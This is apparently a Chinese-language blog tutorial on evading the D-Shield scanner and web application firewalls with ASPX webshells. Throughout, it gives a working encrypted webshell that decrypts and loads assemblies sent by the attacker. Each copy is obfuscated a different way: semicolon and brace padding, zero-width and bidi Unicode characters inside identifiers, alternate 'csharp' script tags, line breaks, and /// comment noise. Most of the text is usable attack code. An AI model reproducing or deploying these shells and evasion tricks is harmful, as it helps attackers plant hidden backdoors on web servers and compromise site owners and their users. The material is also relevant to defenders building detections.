[TOC]

说实话,D盾的aspx检测模块挺神奇的。

花括号和分号

{}和分号;在原本语法结束的地方可以添加大量的该类混淆,不会影响其原本的解析

<% @page language=c#%>;;;;;;;;;;;;;;;;;;;;
<%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");{{{}}} byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);{{{;}}} Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>

能够一定程度的影响其解析
image.png

unicode空白连接符

我们都知道,unicode是支持在aspx里进行的,同样的,它也支持asmx和ashx,估计这类特性都是通用的。
并且我们知道,在unicode有一类字符叫做zwj零宽连字(全称 zero width joiner)
常见的zwj字符有如下几个
\u200c
\u200d
\u200e
\u200f
一个比较有意思的点吧,emoji的表情就是用zwj字符来进行连接的
image.png

除了上面的zwj,还有一种unicode编码叫做零宽不折行空格,也就是如下几种字符,都支持在字符间进行拼接,具体的概念可以直接百度。
\ufeff
\u202a
\u202b
\u202c
\u202d
\u202e

我们在asp.net环境下就可以利用上述的各种冷门unicode编码来对抗一些waf了

<%@language = c#%>
<%@Import Namespace=”System.Reflection”%>
<%Session.Add(“k”,”e45e329feb5d925b”); byte[] k = Encoding.Default.GetBytes(Session[0] + “”),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance(“U”).Equals(this);;;;;;;;;;;;;;;;;;;;;%>

aspx别的声明标签

我们知道<% @language=”C#” %>可以与<% @language=”Csharp” %>进行替换
我们知道,在Php中有

也可以写成下面的这种形式

可以看到仅需要添加void page_load(){ } 相关代码,代码大致如下

<script language=csharp runat=server>
void page_load(){
    Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
    System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
</script>

当然,这只是一直简单的替换方式,我们可以和别的Bypass方式进行相结合。
就好比之前的c# 替换成 csharp一样,在去年一次实战中就遇到一个AF就拦截 c# 而不拦截 csharp 。
image.png

换行特性

这个很简单哈,没什么好说的,效果比较一般
在没有换行之前
image.png
换行之后,可以看到还是起到一定的作用的,只不过不是很明显
image.png
成功连接,没有太大问题
image.png

c#的 ///特性和xml

在标准的情况下,c#规定了/// 能够在aspx中作为xml语法的注释,那么我们缩短一下语句,它是注释。

直接看demo案例吧,在不破坏直接语法的情况下(使用换行隔开,可以产生如下的效果)。
我们可以将该类的注释特性与aspx原本的/xx/和来进行一些结合,
成功

<%
@
language 
= 
c#
%>
<%
@Import 
 Namespace="System.Reflection"%>
<%Session.Add("k",
//////@#@!#!@#!@#!@#!@#!@#!@#
"e45e329feb5d925b"); byte[]
//////@#@!#!@#!@#!@#!@#!@#!@#
 k = Encoding.Default.GetBytes(Session[0] + ""),
//////@#@!#!@#!@#!@#!@#!@#!@#
c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
//////@#@!#!@#!@#!@#!@#!@#!@#
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

失败,如果不是//则会出现语法解析错误的问题

<%@language = c#%>
<%@Import  Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
\\
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>